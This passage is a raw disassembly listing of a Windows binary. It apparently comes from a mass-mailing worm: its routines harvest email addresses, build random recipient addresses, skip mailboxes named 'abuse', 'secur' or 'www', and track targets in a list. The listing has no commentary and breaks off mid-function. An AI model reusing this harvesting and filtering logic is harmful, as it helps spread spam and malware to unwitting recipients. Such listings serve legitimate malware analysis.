  4803.                     ; sub_4A5315+26j
  4804.         inc    edi
  4805.         cmp    byte ptr [edi+esi], 40h
  4806.         jnz    short loc_4A5323
  4807.  
  4808. loc_4A534A:                ; CODE XREF: sub_4A5315+Cj
  4809.                     ; sub_4A5315+13j
  4810.         test    ebx, ebx
  4811.         jz    short loc_4A5351
  4812.         and    byte ptr [ebx],    0
  4813.  
  4814. loc_4A5351:                ; CODE XREF: sub_4A5315+37j
  4815.         cmp    byte ptr [edi+esi], 0
  4816.         jz    short loc_4A5389
  4817.         mov    ebx, [esp+4+lpString1]
  4818.         test    ebx, ebx
  4819.         jz    short loc_4A539B
  4820.         lea    eax, [edi+esi+1]
  4821.         cmp    byte ptr [eax],    0
  4822.         jz    short loc_4A5384
  4823.         mov    esi, eax
  4824.  
  4825. loc_4A536A:                ; CODE XREF: sub_4A5315+6Dj
  4826.         movsx    eax, byte ptr [esi]
  4827.         push    eax
  4828.         call    ds:isspace
  4829.         test    eax, eax
  4830.         pop    ecx
  4831.         jnz    short loc_4A537E
  4832.         mov    al, [esi]
  4833.         mov    [ebx], al
  4834.         inc    ebx
  4835.  
  4836. loc_4A537E:                ; CODE XREF: sub_4A5315+62j
  4837.         inc    esi
  4838.         cmp    byte ptr [esi],    0
  4839.         jnz    short loc_4A536A
  4840.  
  4841. loc_4A5384:                ; CODE XREF: sub_4A5315+51j
  4842.         and    byte ptr [ebx],    0
  4843.         jmp    short loc_4A539B
  4844. ; ───────────────────────────────────────────────────────────────────────────
  4845.  
  4846. loc_4A5389:                ; CODE XREF: sub_4A5315+40j
  4847.         cmp    [esp+4+lpString1], 0
  4848.         jz    short loc_4A539B
  4849.         push    esi        ; lpString2
  4850.         push    [esp+8+lpString1] ; lpString1
  4851.         call    ds:lstrcpyA
  4852.  
  4853. loc_4A539B:                ; CODE XREF: sub_4A5315+48j
  4854.                     ; sub_4A5315+72j ...
  4855.         pop    edi
  4856.         pop    esi
  4857.         pop    ebx
  4858.         retn
  4859. sub_4A5315    endp
  4860.  
  4861.  
  4862. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  4863.  
  4864.  
  4865. sub_4A539F    proc near        ; CODE XREF: sub_4A5718+17p
  4866.         mov    cl, [edi]
  4867.         xor    eax, eax
  4868.         test    cl, cl
  4869.         push    ebp
  4870.         jnz    short loc_4A53AB
  4871.         inc    eax
  4872.         pop    ebp
  4873.         retn
  4874. ; ───────────────────────────────────────────────────────────────────────────
  4875.  
  4876. loc_4A53AB:                ; CODE XREF: sub_4A539F+7j
  4877.         and    ds:dword_4A81B8, 0
  4878.  
  4879. loc_4A53B2:                ; CODE XREF: sub_4A539F+24j
  4880.         cmp    cl, 40h
  4881.         jnz    short loc_4A53BD
  4882.         inc    ds:dword_4A81B8
  4883.  
  4884. loc_4A53BD:                ; CODE XREF: sub_4A539F+16j
  4885.         inc    eax
  4886.         mov    cl, [eax+edi]
  4887.         test    cl, cl
  4888.         jnz    short loc_4A53B2
  4889.         push    ebx
  4890.         xor    ebx, ebx
  4891.         inc    ebx
  4892.         push    esi
  4893.         cmp    ds:dword_4A81B8, ebx
  4894.         mov    ds:dword_4A81BC, eax
  4895.         jnz    loc_4A5514
  4896.         mov    esi, ds:lstrlenA
  4897.         push    edi        ; lpString
  4898.         call    esi ; lstrlenA
  4899.         jmp    short loc_4A53F9
  4900. ; ───────────────────────────────────────────────────────────────────────────
  4901.  
  4902. loc_4A53E6:                ; CODE XREF: sub_4A539F+61j
  4903.         mov    cl, [edi+eax-1]
  4904.         cmp    cl, 2Eh
  4905.         jz    short loc_4A5402
  4906.         cmp    cl, 40h
  4907.         jz    loc_4A5514
  4908.         dec    eax
  4909.  
  4910. loc_4A53F9:                ; CODE XREF: sub_4A539F+45j
  4911.         test    eax, eax
  4912.         mov    ds:dword_4A81BC, eax
  4913.         jg    short loc_4A53E6
  4914.  
  4915. loc_4A5402:                ; CODE XREF: sub_4A539F+4Ej
  4916.         test    eax, eax
  4917.         jz    loc_4A5514
  4918.         push    edi        ; lpString
  4919.         call    esi ; lstrlenA
  4920.         mov    ecx, ebx
  4921.         sub    ecx, ds:dword_4A81BC
  4922.         add    eax, ecx
  4923.         cmp    eax, 2
  4924.         mov    ds:dword_4A82C0, eax
  4925.         jl    loc_4A5514
  4926.         cmp    eax, 4
  4927.         jg    loc_4A5514
  4928.         mov    ebx, offset String1
  4929.         mov    ebp, offset byte_4A81C0
  4930.         push    ebx        ; lpString1
  4931.         mov    eax, ebp
  4932.         mov    ecx, edi
  4933.         call    sub_4A5315
  4934.         pop    ecx
  4935.         push    ebp        ; lpString
  4936.         call    esi ; lstrlenA
  4937.         cmp    eax, 2
  4938.         mov    ds:dword_4A81BC, eax
  4939.         jl    loc_4A54F1
  4940.         cmp    eax, 18h
  4941.         jg    loc_4A54F1
  4942.         push    ebx        ; lpString
  4943.         call    esi ; lstrlenA
  4944.         cmp    eax, 6
  4945.         mov    ds:dword_4A81BC, eax
  4946.         jl    loc_4A54F1
  4947.         cmp    eax, 2Ah
  4948.         jg    short loc_4A54F1
  4949.         push    ebx        ; lpString
  4950.         call    esi ; lstrlenA
  4951.         jmp    short loc_4A548A
  4952. ; ───────────────────────────────────────────────────────────────────────────
  4953.  
  4954. loc_4A5478:                ; CODE XREF: sub_4A539F+F3j
  4955.         cmp    ds:String1[eax], 2Eh
  4956.         jnz    short loc_4A548A
  4957.         cmp    ds:byte_4A82C7[eax], 2Eh
  4958.         jz    short loc_4A54F1
  4959.  
  4960. loc_4A548A:                ; CODE XREF: sub_4A539F+D7j
  4961.                     ; sub_4A539F+E0j
  4962.         dec    eax
  4963.         test    eax, eax
  4964.         mov    ds:dword_4A81BC, eax
  4965.         jg    short loc_4A5478
  4966.         mov    cl, ds:byte_4A81C0
  4967.         xor    eax, eax
  4968.         and    ds:dword_4A81B8, eax
  4969.         mov    ds:dword_4A81BC, eax
  4970.         test    cl, cl
  4971.         jz    short loc_4A54CB
  4972.  
  4973. loc_4A54AB:                ; CODE XREF: sub_4A539F+125j
  4974.         cmp    cl, 30h
  4975.         jl    short loc_4A54BB
  4976.         cmp    cl, 39h
  4977.         jg    short loc_4A54BB
  4978.         inc    ds:dword_4A81B8
  4979.  
  4980. loc_4A54BB:                ; CODE XREF: sub_4A539F+10Fj
  4981.                     ; sub_4A539F+114j
  4982.         mov    cl, ds:byte_4A81C1[eax]
  4983.         inc    eax
  4984.         test    cl, cl
  4985.         jnz    short loc_4A54AB
  4986.         mov    ds:dword_4A81BC, eax
  4987.  
  4988. loc_4A54CB:                ; CODE XREF: sub_4A539F+10Aj
  4989.         push    ebp        ; lpString
  4990.         call    esi ; lstrlenA
  4991.         mov    ecx, eax
  4992.         mov    eax, ds:dword_4A81B8
  4993.         imul    eax, 64h
  4994.         cdq
  4995.         idiv    ecx
  4996.         push    ebp        ; lpString
  4997.         mov    ds:dword_4A81BC, eax
  4998.         call    esi ; lstrlenA
  4999.         cmp    eax, 0Ch
  5000.         jle    short loc_4A54F6
  5001.         cmp    ds:dword_4A81BC, 32h
  5002.         jmp    short loc_4A550E
  5003. ; ───────────────────────────────────────────────────────────────────────────
  5004.  
  5005. loc_4A54F1:                ; CODE XREF: sub_4A539F+AFj
  5006.                     ; sub_4A539F+B8j ...
  5007.         xor    eax, eax
  5008.         inc    eax
  5009.         jmp    short loc_4A5516
  5010. ; ───────────────────────────────────────────────────────────────────────────
  5011.  
  5012. loc_4A54F6:                ; CODE XREF: sub_4A539F+147j
  5013.         push    ebp        ; lpString
  5014.         call    esi ; lstrlenA
  5015.         cmp    eax, 6
  5016.         jl    short loc_4A5507
  5017.         cmp    ds:dword_4A81BC, 3Ch
  5018.         jmp    short loc_4A550E
  5019. ; ───────────────────────────────────────────────────────────────────────────
  5020.  
  5021. loc_4A5507:                ; CODE XREF: sub_4A539F+15Dj
  5022.         cmp    ds:dword_4A81BC, 46h
  5023.  
  5024. loc_4A550E:                ; CODE XREF: sub_4A539F+150j
  5025.                     ; sub_4A539F+166j
  5026.         jge    short loc_4A54F1
  5027.         xor    eax, eax
  5028.         jmp    short loc_4A5516
  5029. ; ───────────────────────────────────────────────────────────────────────────
  5030.  
  5031. loc_4A5514:                ; CODE XREF: sub_4A539F+36j
  5032.                     ; sub_4A539F+53j ...
  5033.         mov    eax, ebx
  5034.  
  5035. loc_4A5516:                ; CODE XREF: sub_4A539F+155j
  5036.                     ; sub_4A539F+173j
  5037.         pop    esi
  5038.         pop    ebx
  5039.         pop    ebp
  5040.         retn
  5041. sub_4A539F    endp
  5042.  
  5043.  
  5044. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  5045.  
  5046. ; Attributes: bp-based frame
  5047.  
  5048. sub_4A551A    proc near        ; CODE XREF: sub_4A5718+57p
  5049.  
  5050. var_100        = byte ptr -100h
  5051.  
  5052.         push    ebp
  5053.         mov    ebp, esp
  5054.         sub    esp, 100h
  5055.         push    ebx
  5056.         push    esi
  5057.         mov    esi, eax
  5058.         xor    ebx, ebx
  5059.         jmp    short loc_4A5530
  5060. ; ───────────────────────────────────────────────────────────────────────────
  5061.  
  5062. loc_4A552B:                ; CODE XREF: sub_4A551A+1Aj
  5063.         cmp    al, 40h
  5064.         jz    short loc_4A553E
  5065.         inc    esi
  5066.  
  5067. loc_4A5530:                ; CODE XREF: sub_4A551A+Fj
  5068.         mov    al, [esi]
  5069.         cmp    al, bl
  5070.         jnz    short loc_4A552B
  5071.         cmp    al, 40h
  5072.         jnz    loc_4A55C4
  5073.  
  5074. loc_4A553E:                ; CODE XREF: sub_4A551A+13j
  5075.         push    edi
  5076.         xor    edi, edi
  5077.         inc    esi
  5078.  
  5079. loc_4A5542:                ; CODE XREF: sub_4A551A+48j
  5080.         mov    al, [esi]
  5081.         cmp    al, bl
  5082.         jz    short loc_4A5564
  5083.         movsx    eax, al
  5084.         push    eax
  5085.         call    ds:tolower
  5086.         mov    [ebp+edi+var_100], al
  5087.         inc    edi
  5088.         inc    esi
  5089.         cmp    edi, 0FFh
  5090.         pop    ecx
  5091.         jl    short loc_4A5542
  5092.  
  5093. loc_4A5564:                ; CODE XREF: sub_4A551A+2Cj
  5094.         cmp    ds:dword_4A1200, ebx
  5095.         mov    [ebp+edi+var_100], bl
  5096.         pop    edi
  5097.         jz    short loc_4A5598
  5098.         mov    eax, offset dword_4A1200
  5099.         mov    esi, eax
  5100.  
  5101. loc_4A557B:                ; CODE XREF: sub_4A551A+7Cj
  5102.         push    dword ptr [eax]
  5103.         lea    eax, [ebp+var_100]
  5104.         push    eax
  5105.         call    sub_4A424F
  5106.         pop    ecx
  5107.         test    eax, eax
  5108.         pop    ecx
  5109.         jnz    short loc_4A55CA
  5110.         add    esi, 4
  5111.         mov    eax, esi
  5112.         cmp    [esi], ebx
  5113.         jnz    short loc_4A557B
  5114.  
  5115. loc_4A5598:                ; CODE XREF: sub_4A551A+58j
  5116.         cmp    ds:dword_4A11B0, ebx
  5117.         jz    short loc_4A55C4
  5118.         mov    eax, offset dword_4A11B0
  5119.         mov    esi, eax
  5120.  
  5121. loc_4A55A7:                ; CODE XREF: sub_4A551A+A8j
  5122.         push    dword ptr [eax]
  5123.         lea    eax, [ebp+var_100]
  5124.         push    eax
  5125.         call    sub_4A424F
  5126.         pop    ecx
  5127.         test    eax, eax
  5128.         pop    ecx
  5129.         jnz    short loc_4A55CF
  5130.         add    esi, 4
  5131.         mov    eax, esi
  5132.         cmp    [esi], ebx
  5133.         jnz    short loc_4A55A7
  5134.  
  5135. loc_4A55C4:                ; CODE XREF: sub_4A551A+1Ej
  5136.                     ; sub_4A551A+84j
  5137.         xor    eax, eax
  5138.  
  5139. loc_4A55C6:                ; CODE XREF: sub_4A551A+B3j
  5140.                     ; sub_4A551A+B8j
  5141.         pop    esi
  5142.         pop    ebx
  5143.         leave
  5144.         retn
  5145. ; ───────────────────────────────────────────────────────────────────────────
  5146.  
  5147. loc_4A55CA:                ; CODE XREF: sub_4A551A+73j
  5148.         push    64h
  5149.         pop    eax
  5150.         jmp    short loc_4A55C6
  5151. ; ───────────────────────────────────────────────────────────────────────────
  5152.  
  5153. loc_4A55CF:                ; CODE XREF: sub_4A551A+9Fj
  5154.         xor    eax, eax
  5155.         inc    eax
  5156.         jmp    short loc_4A55C6
  5157. sub_4A551A    endp
  5158.  
  5159.  
  5160. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  5161.  
  5162. ; Attributes: bp-based frame
  5163.  
  5164. sub_4A55D4    proc near        ; CODE XREF: sub_4A5718+62p
  5165.  
  5166. String1        = byte ptr -110h
  5167. var_10        = byte ptr -10h
  5168.  
  5169.         push    ebp
  5170.         mov    ebp, esp
  5171.         sub    esp, 110h
  5172.         push    ebx
  5173.         push    esi
  5174.         push    edi
  5175.         xor    ebx, ebx
  5176.         mov    edi, eax
  5177.         xor    esi, esi
  5178.  
  5179. loc_4A55E6:                ; CODE XREF: sub_4A55D4+36j
  5180.         mov    al, [edi]
  5181.         cmp    al, bl
  5182.         jz    short loc_4A560C
  5183.         cmp    al, 40h
  5184.         jz    short loc_4A560C
  5185.         movsx    eax, al
  5186.         push    eax
  5187.         call    ds:tolower
  5188.         mov    [ebp+esi+String1], al
  5189.         inc    esi
  5190.         inc    edi
  5191.         cmp    esi, 0FFh
  5192.         pop    ecx
  5193.         jl    short loc_4A55E6
  5194.  
  5195. loc_4A560C:                ; CODE XREF: sub_4A55D4+16j
  5196.                     ; sub_4A55D4+1Aj
  5197.         cmp    byte ptr [edi],    40h
  5198.         mov    [ebp+esi+String1], bl
  5199.         jnz    loc_4A570C
  5200.         cmp    ds:dword_4A1278, ebx
  5201.         jz    short loc_4A564B
  5202.         mov    eax, offset dword_4A1278
  5203.         mov    esi, eax
  5204.  
  5205. loc_4A562B:                ; CODE XREF: sub_4A55D4+75j
  5206.         push    dword ptr [eax]    ; lpString2
  5207.         lea    eax, [ebp+String1]
  5208.         push    eax        ; lpString1
  5209.         call    ds:lstrcmpA
  5210.         test    eax, eax
  5211.         jz    loc_4A5713
  5212.         add    esi, 4
  5213.         mov    eax, esi
  5214.         cmp    [esi], ebx
  5215.         jnz    short loc_4A562B
  5216.  
  5217. loc_4A564B:                ; CODE XREF: sub_4A55D4+4Ej
  5218.         push    3
  5219.         lea    eax, [ebp+String1]
  5220.         push    offset aSpm    ; "spm"
  5221.         push    eax
  5222.         call    sub_4A42F1
  5223.         add    esp, 0Ch
  5224.         test    eax, eax
  5225.         jz    loc_4A5713
  5226.         lea    eax, [ebp+var_10]
  5227.         push    offset aFcnz    ; "fcnz"
  5228.         push    eax
  5229.         call    sub_4A465E
  5230.         lea    eax, [ebp+var_10]
  5231.         push    eax
  5232.         lea    eax, [ebp+String1]
  5233.         push    eax
  5234.         call    sub_4A424F
  5235.         add    esp, 10h
  5236.         test    eax, eax
  5237.         jnz    loc_4A5713
  5238.         push    3
  5239.         lea    eax, [ebp+String1]
  5240.         push    offset aWww    ; "www"
  5241.         push    eax
  5242.         call    sub_4A42F1
  5243.         add    esp, 0Ch
  5244.         test    eax, eax
  5245.         jz    short loc_4A5713
  5246.         push    5
  5247.         lea    eax, [ebp+String1]
  5248.         push    offset aSecur    ; "secur"
  5249.         push    eax
  5250.         call    sub_4A42F1
  5251.         add    esp, 0Ch
  5252.         test    eax, eax
  5253.         jz    short loc_4A5713
  5254.         push    5
  5255.         lea    eax, [ebp+String1]
  5256.         push    offset aAbuse    ; "abuse"
  5257.         push    eax
  5258.         call    sub_4A42F1
  5259.         add    esp, 0Ch
  5260.         test    eax, eax
  5261.         jz    short loc_4A5713
  5262.         cmp    ds:dword_4A12F4, ebx
  5263.         jz    short loc_4A570C
  5264.         mov    eax, offset dword_4A12F4
  5265.         mov    esi, eax
  5266.  
  5267. loc_4A56EF:                ; CODE XREF: sub_4A55D4+136j
  5268.         push    dword ptr [eax]
  5269.         lea    eax, [ebp+String1]
  5270.         push    eax
  5271.         call    sub_4A424F
  5272.         pop    ecx
  5273.         test    eax, eax
  5274.         pop    ecx
  5275.         jnz    short loc_4A5713
  5276.         add    esi, 4
  5277.         mov    eax, esi
  5278.         cmp    [esi], ebx
  5279.         jnz    short loc_4A56EF
  5280.  
  5281. loc_4A570C:                ; CODE XREF: sub_4A55D4+42j
  5282.                     ; sub_4A55D4+112j
  5283.         xor    eax, eax
  5284.  
  5285. loc_4A570E:                ; CODE XREF: sub_4A55D4+142j
  5286.         pop    edi
  5287.         pop    esi
  5288.         pop    ebx
  5289.         leave
  5290.         retn
  5291. ; ───────────────────────────────────────────────────────────────────────────
  5292.  
  5293. loc_4A5713:                ; CODE XREF: sub_4A55D4+68j
  5294.                     ; sub_4A55D4+8Fj ...
  5295.         xor    eax, eax
  5296.         inc    eax
  5297.         jmp    short loc_4A570E
  5298. sub_4A55D4    endp
  5299.  
  5300.  
  5301. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  5302.  
  5303. ; Attributes: bp-based frame
  5304.  
  5305. sub_4A5718    proc near        ; CODE XREF: sub_4A5788+25p
  5306.  
  5307. var_4        = dword    ptr -4
  5308.  
  5309.         push    ebp
  5310.         mov    ebp, esp
  5311.         push    ecx
  5312.         push    edi
  5313.         mov    edi, ecx
  5314.         push    edi
  5315.         call    sub_4A5108
  5316.         test    eax, eax
  5317.         pop    ecx
  5318.         jz    short loc_4A5762
  5319.  
  5320. loc_4A572A:                ; CODE XREF: sub_4A5718+53j
  5321.                     ; sub_4A5718+5Ej
  5322.         xor    eax, eax
  5323.         inc    eax
  5324.         jmp    short loc_4A5785
  5325. ; ───────────────────────────────────────────────────────────────────────────
  5326.  
  5327. loc_4A572F:                ; CODE XREF: sub_4A5718+4Dj
  5328.         call    sub_4A539F
  5329.         test    eax, eax
  5330.         mov    [ebp+var_4], eax
  5331.         jz    short loc_4A576D
  5332.         push    edi        ; lpString
  5333.         call    ds:lstrlenA
  5334.         jmp    short loc_4A5751
  5335. ; ───────────────────────────────────────────────────────────────────────────
  5336.  
  5337. loc_4A5744:                ; CODE XREF: sub_4A5718+3Aj
  5338.         mov    cl, [eax+edi]
  5339.         cmp    cl, 40h
  5340.         jz    short loc_4A5754
  5341.         cmp    cl, 2Eh
  5342.         jz    short loc_4A5754
  5343.  
  5344. loc_4A5751:                ; CODE XREF: sub_4A5718+2Aj
  5345.         dec    eax
  5346.         jns    short loc_4A5744
  5347.  
  5348. loc_4A5754:                ; CODE XREF: sub_4A5718+32j
  5349.                     ; sub_4A5718+37j
  5350.         test    eax, eax
  5351.         jle    short loc_4A5767
  5352.         add    eax, edi
  5353.         cmp    byte ptr [eax],    2Eh
  5354.         jnz    short loc_4A5767
  5355.         and    byte ptr [eax],    0
  5356.  
  5357. loc_4A5762:                ; CODE XREF: sub_4A5718+10j
  5358.         cmp    byte ptr [edi],    0
  5359.         jnz    short loc_4A572F
  5360.  
  5361. loc_4A5767:                ; CODE XREF: sub_4A5718+3Ej
  5362.                     ; sub_4A5718+45j
  5363.         cmp    [ebp+var_4], 0
  5364.         jnz    short loc_4A572A
  5365.  
  5366. loc_4A576D:                ; CODE XREF: sub_4A5718+21j
  5367.         mov    eax, edi
  5368.         call    sub_4A551A
  5369.         test    eax, eax
  5370.         jnz    short loc_4A572A
  5371.         mov    eax, edi
  5372.         call    sub_4A55D4
  5373.         neg    eax
  5374.         sbb    eax, eax
  5375.         neg    eax
  5376.  
  5377. loc_4A5785:                ; CODE XREF: sub_4A5718+15j
  5378.         pop    edi
  5379.         leave
  5380.         retn
  5381. sub_4A5718    endp
  5382.  
  5383.  
  5384. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  5385.  
  5386. ; Attributes: bp-based frame
  5387.  
  5388. sub_4A5788    proc near        ; CODE XREF: sub_4A586A+C0p
  5389.                     ; sub_4A5DD4+DAp ...
  5390.  
  5391. String2        = byte ptr -100h
  5392. lpString    = dword    ptr  8
  5393. arg_4        = byte ptr  0Ch
  5394.  
  5395.         push    ebp
  5396.         mov    ebp, esp
  5397.         sub    esp, 100h
  5398.         push    edi
  5399.         mov    edi, ds:lstrlenA
  5400.         push    [ebp+lpString]    ; lpString
  5401.         call    edi ; lstrlenA
  5402.         cmp    eax, 80h
  5403.         jg    short loc_4A57B6
  5404.         mov    eax, [ebp+lpString]
  5405.         lea    ecx, [ebp+String2]
  5406.         call    sub_4A5718
  5407.         test    eax, eax
  5408.         jz    short loc_4A57BE
  5409.  
  5410. loc_4A57B6:                ; CODE XREF: sub_4A5788+1Aj
  5411.         xor    eax, eax
  5412.         inc    eax
  5413.         jmp    loc_4A5867
  5414. ; ───────────────────────────────────────────────────────────────────────────
  5415.  
  5416. loc_4A57BE:                ; CODE XREF: sub_4A5788+2Cj
  5417.         push    esi
  5418.         mov    esi, ds:dword_4A83CC
  5419.         jmp    short loc_4A57DE
  5420. ; ───────────────────────────────────────────────────────────────────────────
  5421.  
  5422. loc_4A57C7:                ; CODE XREF: sub_4A5788+58j
  5423.         lea    eax, [ebp+String2]
  5424.         push    eax        ; lpString2
  5425.         lea    eax, [esi+0Ah]
  5426.         push    eax        ; lpString1
  5427.         call    ds:lstrcmpiA
  5428.         test    eax, eax
  5429.         jz    short loc_4A5808
  5430.         mov    esi, [esi]
  5431.  
  5432. loc_4A57DE:                ; CODE XREF: sub_4A5788+3Dj
  5433.         test    esi, esi
  5434.         jnz    short loc_4A57C7
  5435.         lea    eax, [ebp+String2]
  5436.         push    eax        ; lpString
  5437.         call    edi ; lstrlenA
  5438.         mov    edi, eax
  5439.         add    edi, 0Fh
  5440.         push    edi        ; dwBytes
  5441.         push    esi        ; dwFlags
  5442.         call    ds:GetProcessHeap
  5443.         push    eax        ; hHeap
  5444.         call    ds:HeapAlloc
  5445.         mov    esi, eax
  5446.         test    esi, esi
  5447.         jnz    short loc_4A580D
  5448.         inc    eax
  5449.         jmp    short loc_4A5866
  5450. ; ───────────────────────────────────────────────────────────────────────────
  5451.  
  5452. loc_4A5808:                ; CODE XREF: sub_4A5788+52j
  5453.         push    2
  5454.         pop    eax
  5455.         jmp    short loc_4A5866
  5456. ; ───────────────────────────────────────────────────────────────────────────
  5457.  
  5458. loc_4A580D:                ; CODE XREF: sub_4A5788+7Bj
  5459.         push    edi
  5460.         push    0
  5461.         push    esi
  5462.         call    memset
  5463.         and    byte ptr [esi+8], 0
  5464.         add    esp, 0Ch
  5465.         call    ds:GetTickCount
  5466.         mov    [esi+4], eax
  5467.         mov    al, [ebp+arg_4]
  5468.         mov    [esi+9], al
  5469.         lea    eax, [ebp+String2]
  5470.         push    eax        ; lpString2
  5471.         lea    eax, [esi+0Ah]
  5472.         push    eax        ; lpString1
  5473.         call    ds:lstrcpyA
  5474.         mov    eax, ds:dword_4A83CC
  5475.         push    offset a_edu    ; ".edu"
  5476.         mov    [esi], eax
  5477.         lea    eax, [ebp+String2]
  5478.         push    eax
  5479.         mov    ds:dword_4A83CC, esi
  5480.         call    sub_4A424F
  5481.         pop    ecx
  5482.         test    eax, eax
  5483.         pop    ecx
  5484.         jz    short loc_4A5864
  5485.         inc    byte ptr [esi+9]
  5486.  
  5487. loc_4A5864:                ; CODE XREF: sub_4A5788+D7j
  5488.         xor    eax, eax
  5489.  
  5490. loc_4A5866:                ; CODE XREF: sub_4A5788+7Ej
  5491.                     ; sub_4A5788+83j
  5492.         pop    esi
  5493.  
  5494. loc_4A5867:                ; CODE XREF: sub_4A5788+31j
  5495.         pop    edi
  5496.         leave
  5497.         retn
  5498. sub_4A5788    endp
  5499.  
  5500.  
  5501. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  5502.  
  5503. ; Attributes: bp-based frame
  5504.  
  5505. sub_4A586A    proc near        ; CODE XREF: .text:004A5CB8p
  5506.  
  5507. var_180        = byte ptr -180h
  5508. String2        = byte ptr -80h
  5509.  
  5510.         push    ebp
  5511.         mov    ebp, esp
  5512.         sub    esp, 180h
  5513.         mov    eax, ds:dword_4A83CC
  5514.         push    esi
  5515.         xor    esi, esi
  5516.         test    eax, eax
  5517.         jz    loc_4A5931
  5518.  
  5519. loc_4A5883:                ; CODE XREF: sub_4A586A+1Ej
  5520.         mov    eax, [eax]
  5521.         inc    esi
  5522.         test    eax, eax
  5523.         jnz    short loc_4A5883
  5524.         test    esi, esi
  5525.         jz    loc_4A5931
  5526.         call    sub_4A4239
  5527.         xor    edx, edx
  5528.         xor    ecx, ecx
  5529.         div    esi
  5530.         mov    eax, ds:dword_4A83CC
  5531.         test    edx, edx
  5532.         jle    short loc_4A58B5
  5533.  
  5534. loc_4A58A6:                ; CODE XREF: sub_4A586A+49j
  5535.         test    eax, eax
  5536.         jz    loc_4A5931
  5537.         mov    eax, [eax]
  5538.         inc    ecx
  5539.         cmp    ecx, edx
  5540.         jl    short loc_4A58A6
  5541.  
  5542. loc_4A58B5:                ; CODE XREF: sub_4A586A+3Aj
  5543.         test    eax, eax
  5544.         jz    short loc_4A5931
  5545.         add    eax, 0Ah
  5546.         jmp    short loc_4A58C4
  5547. ; ───────────────────────────────────────────────────────────────────────────
  5548.  
  5549. loc_4A58BE:                ; CODE XREF: sub_4A586A+5Ej
  5550.         cmp    cl, 40h
  5551.         jz    short loc_4A58CF
  5552.         inc    eax
  5553.  
  5554. loc_4A58C4:                ; CODE XREF: sub_4A586A+52j
  5555.         mov    cl, [eax]
  5556.         test    cl, cl
  5557.         jnz    short loc_4A58BE
  5558.         cmp    cl, 40h
  5559.         jnz    short loc_4A5931
  5560.  
  5561. loc_4A58CF:                ; CODE XREF: sub_4A586A+57j
  5562.         inc    eax
  5563.         push    4Fh        ; iMaxLength
  5564.         push    eax        ; lpString2
  5565.         lea    eax, [ebp+String2]
  5566.         push    eax        ; lpString1
  5567.         call    ds:lstrcpynA
  5568.         call    sub_4A4221
  5569.         movzx    eax, ax
  5570.         push    31h
  5571.         xor    edx, edx
  5572.         pop    ecx
  5573.         div    ecx
  5574.         lea    eax, [ebp+var_180]
  5575.         push    ds:lpString2[edx*4] ; lpString2
  5576.         push    eax        ; lpString1
  5577.         call    ds:lstrcpyA
  5578.         mov    esi, ds:lstrcatA
  5579.         lea    eax, [ebp+var_180]
  5580.         push    offset a@    ; lpString2
  5581.         push    eax        ; lpString1
  5582.         call    esi ; lstrcatA
  5583.         lea    eax, [ebp+String2]
  5584.         push    eax        ; lpString2
  5585.         lea    eax, [ebp+var_180]
  5586.         push    eax        ; lpString1
  5587.         call    esi ; lstrcatA
  5588.         lea    eax, [ebp+var_180]
  5589.         push    1
  5590.         push    eax
  5591.         call    sub_4A5788
  5592.         pop    ecx
  5593.         pop    ecx
  5594.  
  5595. loc_4A5931:                ; CODE XREF: sub_4A586A+13j
  5596.                     ; sub_4A586A+22j ...
  5597.         pop    esi
  5598.         leave
  5599.         retn
  5600. sub_4A586A    endp
  5601.  
  5602.  
  5603. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  5604.  
  5605.  
  5606. ; int __cdecl sub_4A5934(LPCSTR    lpString2)
  5607. sub_4A5934    proc near        ; CODE XREF: sub_4A5A31+6p
  5608.                     ; sub_4A5A31+39p
  5609.  
  5610. lpString2    = dword    ptr  8
  5611.  
  5612.         push    esi
  5613.         mov    esi, ds:dword_4A83D4
  5614.         jmp    short loc_4A5951
  5615. ; ───────────────────────────────────────────────────────────────────────────
  5616.  
  5617. loc_4A593D:                ; CODE XREF: sub_4A5934+1Fj
  5618.         push    [esp+lpString2]    ; lpString2
  5619.         lea    eax, [esi+8]
  5620.         push    eax        ; lpString1
  5621.         call    ds:lstrcmpiA
  5622.         test    eax, eax
  5623.         jz    short loc_4A5959
  5624.         mov    esi, [esi]
  5625.  
  5626. loc_4A5951:                ; CODE XREF: sub_4A5934+7j
  5627.         test    esi, esi
  5628.         jnz    short loc_4A593D
  5629.         xor    eax, eax
  5630.         pop    esi
  5631.         retn
  5632. ; ───────────────────────────────────────────────────────────────────────────
  5633.  
  5634. loc_4A5959:                ; CODE XREF: sub_4A5934+19j
  5635.         mov    eax, esi
  5636.         pop    esi
  5637.         retn
  5638. sub_4A5934    endp
  5639.  
  5640.  
  5641. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  5642.  
  5643.  
  5644. ; int __cdecl sub_4A595D(LPCSTR    lpString2,int)
  5645. sub_4A595D    proc near        ; CODE XREF: sub_4A5A31+33p
  5646.  
  5647. lpString2    = dword    ptr  4
  5648. arg_4        = dword    ptr  8
  5649.  
  5650.         mov    eax, ds:dword_4A83D4
  5651.         push    ebx
  5652.         push    esi
  5653.         xor    ebx, ebx
  5654.         xor    esi, esi
  5655.         xor    ecx, ecx
  5656.         cmp    eax, ebx
  5657.         jz    short loc_4A5990
  5658.  
  5659. loc_4A596E:                ; CODE XREF: sub_4A595D+29j
  5660.         cmp    [eax+5Ch], ebx
  5661.         jnz    short loc_4A5981
  5662.         cmp    esi, ebx
  5663.         jz    short loc_4A597F
  5664.         mov    edx, [esi+58h]
  5665.         cmp    edx, [eax+58h]
  5666.         jnb    short loc_4A5981
  5667.  
  5668. loc_4A597F:                ; CODE XREF: sub_4A595D+18j
  5669.         mov    esi, eax
  5670.  
  5671. loc_4A5981:                ; CODE XREF: sub_4A595D+14j
  5672.                     ; sub_4A595D+20j
  5673.         mov    eax, [eax]
  5674.         inc    ecx
  5675.         cmp    eax, ebx
  5676.         jnz    short loc_4A596E
  5677.         cmp    ecx, 100h
  5678.         jg    short loc_4A59EC
  5679.  
  5680. loc_4A5990:                ; CODE XREF: sub_4A595D+Fj
  5681.         push    60h        ; dwBytes
  5682.         push    ebx        ; dwFlags
  5683.         call    ds:GetProcessHeap
  5684.         push    eax        ; hHeap
  5685.         call    ds:HeapAlloc
  5686.         mov    esi, eax
  5687.         cmp    esi, ebx
  5688.         jnz    short loc_4A59AE
